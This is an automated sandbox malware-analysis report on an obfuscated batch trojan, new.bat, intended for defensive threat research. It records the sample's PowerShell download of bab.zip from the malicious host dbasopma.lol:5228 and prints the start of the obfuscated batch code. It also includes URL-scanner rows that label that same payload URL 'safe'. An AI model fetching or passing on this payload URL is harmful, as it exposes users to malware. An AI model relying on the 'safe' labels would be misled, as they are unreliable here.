C:\Users\user\Downloads\Extracted\Python\Python312\Lib\collections\__init__.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\collections\abc.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\colorsys.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\compileall.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\concurrent\futures\__init__.py	0%	ReversingLabs

Source	Detection	Scanner	Label
https://bugs.python.org/issue?@action=redirect&bpo=33721	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=35900	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=35904	0%	Avira URL Cloud	safe
https://peps.python.org/pep-0613/	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=30459	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=33725	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=33962	0%	Avira URL Cloud	safe
http://dbasopma.lol:5228/bab.zip	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=41103	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=43766	0%	Avira URL Cloud	safe
https://peps.python.org/pep-3120/	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=41229	0%	Avira URL Cloud	safe
https://peps.python.org/pep-3132/	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=43762	0%	Avira URL Cloud	safe
https://peps.python.org/pep-0612/	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=39273	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=43760	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=29235	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=32749	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=30688	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=43880	0%	Avira URL Cloud	safe
https://peps.python.org/pep-0614/	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=33710	0%	Avira URL Cloud	safe
https://peps.python.org/pep-0626/	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=43757	0%	Avira URL Cloud	safe
https://peps.python.org/pep-0529/	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=43998	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=41334	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=41332	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=42423	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=43753	0%	Avira URL Cloud	safe
https://peps.python.org/pep-3131/	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=39385	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=38291	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=42308	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=28238	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=1230540	0%	Avira URL Cloud	safe
https://peps.python.org/pep-0635/	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=41692	0%	Avira URL Cloud	safe
https://peps.python.org/pep-0526/	0%	Avira URL Cloud	safe
https://peps.python.org/pep-0647/	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=32972	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=42413	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=41440	0%	Avira URL Cloud	safe
https://peps.python.org/pep-0634/	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=6584	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=43868	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=33818	0%	Avira URL Cloud	safe
https://peps.python.org/pep-0624/	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=30661	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=31870	0%	Avira URL Cloud	safe
https://peps.python.org/pep-0636/	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=17239	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=40468	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=41792	0%	Avira URL Cloud	safe
https://peps.python.org/pep-0623/	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=30670	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=29209	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=41559	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=43571	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=36917	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=43452	0%	Avira URL Cloud	safe
https://peps.python.org/pep-0318/	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=34616	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=35702	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=32314	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=42599	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=43688	0%	Avira URL Cloud	safe
https://peps.python.org/pep-0632/	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=40176	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=33530	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=23831	0%	Avira URL Cloud	safe
https://peps.python.org/pep-0644/	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=30262	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=21536	0%	Avira URL Cloud	safe
http://dbasopma.lol:5228/	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=22640	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=35810	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=43682	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=35813	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=43797	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=43799	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=41139	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=42345	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=34850	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=43795	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=32430	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=43794	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=23722	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=43439	0%	Avira URL Cloud	safe
https://bugs.python.org/issue?@action=redirect&bpo=32417	0%	Avira URL Cloud	safe

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false	high
dbasopma.lol	193.143.1.95	true	true	unknown
x1.i.lencr.org	unknown	unknown	false	high

Name	Source	Malicious	Antivirus Detection	Reputation
https://bugs.python.org/issue?@action=redirect&bpo=35904	3.8.html.21.dr	false	Avira URL Cloud: safe	unknown
https://github.com/pypa/pip/issues/1800	wheel.py1.21.dr	false		high
https://github.com/python/cpython/issues/88048	3.10.html.21.dr	false		high
https://peps.python.org/pep-0613/	3.10.html.21.dr, typing.html.21.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=33721	3.8.html.21.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=33962	3.10.html.21.dr	false	Avira URL Cloud: safe	unknown
https://packaging.python.org/	wheel.py1.21.dr	false		high
https://bugs.python.org/issue?@action=redirect&bpo=33725	3.8.html.21.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=35900	3.8.html.21.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=30459	3.10.html.21.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=41103	3.10.html.21.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=43766	3.10.html.21.dr	false	Avira URL Cloud: safe	unknown
https://peps.python.org/pep-3120/	3.0.html.21.dr	false	Avira URL Cloud: safe	unknown
https://peps.python.org/pep-3132/	3.0.html.21.dr, simple_stmts.html.21.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=43762	3.10.html.21.dr	false	Avira URL Cloud: safe	unknown
https://peps.python.org/pep-0612/	3.10.html.21.dr, typing.html.21.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=39273	3.10.html.21.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=41229	3.10.html.21.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=30688	3.8.html.21.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=32749	3.8.html.21.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=29235	3.8.html.21.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=43760	3.10.html.21.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=43880	3.10.html.21.dr	false	Avira URL Cloud: safe	unknown
https://peps.python.org/pep-0614/	compound_stmts.html.21.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=33710	3.8.html.21.dr	false	Avira URL Cloud: safe	unknown
https://peps.python.org/pep-0626/	3.10.html.21.dr, datamodel.html.21.dr, 3.12.html.21.dr	false	Avira URL Cloud: safe	unknown
https://peps.python.org/pep-0529/	3.8.html.21.dr	false	Avira URL Cloud: safe	unknown
https://docs.python.org/3/library/importlib.html#importlib.abc.Loader.load_module	_bootstrap.py.21.dr	false		high
https://bugs.python.org/issue?@action=redirect&bpo=43757	3.10.html.21.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=43998	3.10.html.21.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=41334	3.10.html.21.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=42423	3.10.html.21.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=41332	3.10.html.21.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=43753	3.10.html.21.dr	false	Avira URL Cloud: safe	unknown
https://peps.python.org/pep-3131/	3.0.html.21.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=38291	3.10.html.21.dr, typing.html.21.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=39385	3.10.html.21.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=42308	3.10.html.21.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=1230540	3.8.html.21.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=28238	3.8.html.21.dr	false	Avira URL Cloud: safe	unknown
https://peps.python.org/pep-0635/	3.10.html.21.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=41692	3.10.html.21.dr	false	Avira URL Cloud: safe	unknown
https://peps.python.org/pep-0526/	3.10.html.21.dr, compound_stmts.html.21.dr, 3.8.html.21.dr, typing.html.21.dr, simple_stmts.html.21.dr	false	Avira URL Cloud: safe	unknown
https://peps.python.org/pep-0647/	3.10.html.21.dr, typing.html.21.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=32972	3.8.html.21.dr	false	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 0000000C.00000002.2558605998.0000022657800000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bugs.python.org/issue?@action=redirect&bpo=42413	3.10.html.21.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=41440	3.10.html.21.dr	false	Avira URL Cloud: safe	unknown
https://peps.python.org/pep-0634/	compound_stmts.html.21.dr, datamodel.html.21.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=6584	3.8.html.21.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=43868	3.10.html.21.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=33818	3.8.html.21.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=30661	3.8.html.21.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=31870	3.10.html.21.dr	false	Avira URL Cloud: safe	unknown
https://peps.python.org/pep-0624/	3.10.html.21.dr	false	Avira URL Cloud: safe	unknown
https://peps.python.org/pep-0636/	compound_stmts.html.21.dr	false	Avira URL Cloud: safe	unknown
https://docs.python.org/3/whatsnew/3.0.html	3.0.html.21.dr	false		high
https://bugs.python.org/issue?@action=redirect&bpo=17239	3.8.html.21.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=40468	3.10.html.21.dr	false	Avira URL Cloud: safe	unknown
https://github.com/MagicStack/uvloop/tree/v0.16.0	constants.py.21.dr	false		high
https://bugs.python.org/issue?@action=redirect&bpo=41792	3.10.html.21.dr	false	Avira URL Cloud: safe	unknown
https://peps.python.org/pep-0623/	3.10.html.21.dr, 3.12.html.21.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=30670	3.8.html.21.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=29209	3.8.html.21.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=41559	3.10.html.21.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=36917	3.8.html.21.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=43452	3.10.html.21.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=43571	3.10.html.21.dr	false	Avira URL Cloud: safe	unknown
https://docs.python.org/3/whatsnew/3.8.html	3.8.html.21.dr	false		high
https://peps.python.org/pep-0318/	compound_stmts.html.21.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=32314	3.8.html.21.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=34616	3.8.html.21.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=35702	3.8.html.21.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=42599	3.10.html.21.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=43688	3.10.html.21.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=40176	3.10.html.21.dr	false	Avira URL Cloud: safe	unknown
https://peps.python.org/pep-0632/	3.10.html.21.dr, 3.12.html.21.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=33530	3.8.html.21.dr	false	Avira URL Cloud: safe	unknown
https://peps.python.org/pep-0644/	3.10.html.21.dr, 3.12.html.21.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=23831	3.8.html.21.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=30262	3.8.html.21.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=21536	3.8.html.21.dr	false	Avira URL Cloud: safe	unknown
http://dbasopma.lol:5228/	powershell.exe, 0000000A.00000002.1912774801.0000025411C24000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=22640	3.8.html.21.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=35810	3.8.html.21.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=43682	3.10.html.21.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=35813	3.8.html.21.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=41139	3.10.html.21.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=43799	3.10.html.21.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=43797	3.10.html.21.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=42345	3.10.html.21.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=34850	3.8.html.21.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=43795	3.10.html.21.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=32430	3.8.html.21.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=43794	3.10.html.21.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=23722	3.8.html.21.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=43439	3.10.html.21.dr	false	Avira URL Cloud: safe	unknown
https://bugs.python.org/issue?@action=redirect&bpo=32417	3.8.html.21.dr	false	Avira URL Cloud: safe	unknown
https://stackoverflow.com/questions/59509154	_bootstrap.py.21.dr	false		high

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1584794
Start date and time:	2025-01-06 14:31:12 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 38s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	23
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	new.bat
Detection:	MAL
Classification:	mal64.troj.winBAT@33/1085@2/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 1 Number of non-executed functions: 1
Cookbook Comments:	Found application associated with file extension: .bat

Time	Type	Description
08:32:16	API Interceptor	68x Sleep call for process: powershell.exe modified
08:32:17	API Interceptor	2x Sleep call for process: svchost.exe modified
08:32:25	API Interceptor	2x Sleep call for process: AcroCEF.exe modified
10:21:30	API Interceptor	2090x Sleep call for process: conhost.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	fiyati_teklif 615TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	199.232.210.172
	#Employee-Letter.pdf	Get hash	malicious	Unknown	Browse	199.232.210.172
	Agent381.msi	Get hash	malicious	Unknown	Browse	199.232.210.172
	build.exe	Get hash	malicious	RedLine	Browse	199.232.214.172
	AZfDGVWF68.pdf	Get hash	malicious	Unknown	Browse	199.232.210.172
	CKi4EZWZsC.ps1	Get hash	malicious	DcRat, KeyLogger, StormKitty, Strela Stealer, VenomRAT	Browse	199.232.214.172
	LZUCldA1ro.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	4HbZBsYZ48.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	DUD6CqQ1Uj.doc	Get hash	malicious	Unknown	Browse	199.232.210.172
	ny9LDJr6pA.exe	Get hash	malicious	Quasar	Browse	199.232.214.172

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	987113922297181060.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.231
	987113922297181060.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.231
	177183177683425839.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.231
	177183177683425839.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.231
	264531187863018088.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.231
	264531187863018088.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.231
	2439793531535825300.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.231
	2439793531535825300.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.231
	dlr.arm6.elf	Get hash	malicious	Mirai, Okiru	Browse	193.143.1.66
	dlr.x86.elf	Get hash	malicious	Mirai, Okiru	Browse	193.143.1.66

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7067026790473415
Encrypted:	false
SSDEEP:	1536:2JPJJ5JdihkWB/U7mWz0FujGRFDp3w+INKEbx9jzW9KHSjoN2jucfh11AoYQ6VqN:2JIB/wUKUKQncEmYRTwh0Z
MD5:	FB1DF89A3328A7BBBAE74492125362CC
SHA1:	37539CB4AA5D9E0BF8355BCE4965C93D84CFE225
SHA-256:	6D381F699D0AFDAD60E6B9AF9C276C9F7ABEE5C8F9390B91423150E2F46AE679
SHA-512:	5914EDC8DEDF7FDF620F47BEABAD0F2208B080B8990516C3F6A34B473B1D16F39CAC9AC00E949BF88BEA99C2E5A3BB2AE3E34A1793162DEB9F418038DB582DE0
Malicious:	false
Preview:	...........@..@.+...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................u.f!.Lz3.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	5.228037176731105
Encrypted:	false
SSDEEP:	6:iOiMo+q2PcNwi2nKuAl9OmbnIFUtct0ZmwOtUVkwOcNwi2nKuAl9OmbjLJ:7iM9vLZHAahFUtcW/Oq54ZHAaSJ
MD5:	C6DF864ACCE155D9FB4C4C8EA1F4974A
SHA1:	86B47F88D014AA85D269C7773C82835CB503918F
SHA-256:	C0A722EC3B02CC2696C66F42F9208E836B675D039D23F9B2C36BF6409F3A68A5
SHA-512:	29B95E855E86C6BB199F90F791F6F51C2F5936C954D3321CEABBBEDEA97D02F20E92436739A3FEF257AC2704C48017DBAE1F402845C24DD86801B9095B9188C3
Malicious:	false
Preview:	2025/01/06-08:32:17.716 1fd8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/06-08:32:17.720 1fd8 Recovering log #3.2025/01/06-08:32:17.720 1fd8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	26604
Entropy (8bit):	5.054227273984793
Encrypted:	false
SSDEEP:	768:CinHzwiNKeuNZotAHk4VlOdB5cCYoUV3IpNBQkj29YQhj7ardFwOkMx:CinHzwiNKebtAHk4VlOdB5cCYoUV3CNh
MD5:	9DC44CAB5221AE6FF6F5C45CF5FFCBDE
SHA1:	E4BF570FC0C645E006B3E0B2C83B7B66C2D13DAD
SHA-256:	855343D07675AC0F85E322BF673B04076A2194C594522B0D9C73EBE6BF47675D
SHA-512:	4CCDAD97E42247BC247A2A10043DCEE0D9E6945517A983A8E93E5FD13CDAAEEBF0AE4E934CA452A1DDFB4F6E619FC8CFDC082C35E983D9633813CF55B3EEFFF6
Malicious:	false
Preview:	PSMODULECACHE.(.......z..I...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender\Defender.psd1........Add-MpPreference........Get-MpThreatCatalog........Get-MpThreat........Update-MpSignature........Remove-MpPreference........Get-MpPreference........Get-MpThreatDetection........Set-MpPreference........Get-MpComputerStatus........Start-MpScan........Start-MpWDOScan........Remove-MpThreat.........wMk.z..K...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1........Clear-BitLockerAutoUnlock........Lock-BitLocker........Backup-BitLockerKeyProtector........Resume-BitLocker........Disable-BitLockerAutoUnlock....!...BackupToAAD-BitLockerKeyProtector........Add-BitLockerKeyProtector........Unlock-BitLocker........Enable-BitLockerAutoUnlock........Disable-BitLocker........Remove-BitLockerKeyProtector........Enable-BitLocker........Suspend-BitLocker........Get-BitLockerVolume........@.8o.z..q...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerSh

File type:	Unicode text, UTF-16, little-endian text, with very long lines (19870), with no line terminators
Entropy (8bit):	4.090500714783946
TrID:	Text - UTF-16 (LE) encoded (2002/1) 66.67% MP3 audio (1001/1) 33.33%
File name:	new.bat
File size:	39'742 bytes
MD5:	06a3ce0d3e28ade7c5eeda7b1d6c627d
SHA1:	8bd57f42c05bda23dd80cafa797509149d697e59
SHA256:	03bcf126c3e61d7d79d5e22f07bc1213a0f60a708bc4879d4408d3483af43283
SHA512:	157600b72a52f62445eb3bc5d982cb926fab788b6c4ac893f7331e3efdb482f660e51c4118a88253308b41f39fe0f65789b6054fe75b48bf7133c2065ee71f26
SSDEEP:	768:hf2wFJmeJqwdfmF5Oi4gFdpmgedmeV5WFJebmWe5gJemIwge5ePUiebpfwepgedt:haC
TLSH:	AC03122C4E4A05DA74ABC2DAB283B6715FDAB87E64A7344FC6D47E7904C1A0CE5CD0D8
File Content Preview:	..&@cls&@set ".....=J7CEs9tINnkZYyzODfgH5r3Ka0buW pPmdRM2TeSwULovGh6ABQ@VxF4jlXciq81"....&%.....:~59,1%%.....:~57,1%%.....:~4,1%..%.....:~51,1%%.....:~38,1%%.....:~59,1%%.....:~46,1%%.....:~43,1%%.....:~29,1%%.....:~43,1%%..XL...%%.....:~17,1%%.....:~17,1

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 6, 2025 14:32:19.133774996 CET	192.168.2.7	1.1.1.1	0xd3ee	Standard query (0)	dbasopma.lol	A (IP address)	IN (0x0001)	false
Jan 6, 2025 14:32:25.129004955 CET	192.168.2.7	1.1.1.1	0xb8ae	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 6, 2025 14:32:19.395479918 CET	1.1.1.1	192.168.2.7	0xd3ee	No error (0)	dbasopma.lol		193.143.1.95	A (IP address)	IN (0x0001)	false
Jan 6, 2025 14:32:25.135895014 CET	1.1.1.1	192.168.2.7	0xb8ae	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 6, 2025 14:32:26.112814903 CET	1.1.1.1	192.168.2.7	0x80b2	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 6, 2025 14:32:26.112814903 CET	1.1.1.1	192.168.2.7	0x80b2	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

Timestamp	Bytes transferred	Direction	Data
Jan 6, 2025 14:32:20.107355118 CET	169	OUT	GET /bab.zip HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: dbasopma.lol:5228 Connection: Keep-Alive
Jan 6, 2025 14:32:20.454471111 CET	307	IN	HTTP/1.1 200 OK Content-Length: 48569118 Last-Modified: Sat, 04 Jan 2025 12:46:23 GMT Content-Type: application/x-zip-compressed Date: Mon, 06 Jan 2025 13:32:20 GMT ETag: "2d193989039d98b00696c89e57084361-1735994783-48569118" Accept-Ranges: bytes Server: WsgiDAV/4.3.0 Cheroot/9.0.0 Python/3.11.1

Target ID:	0
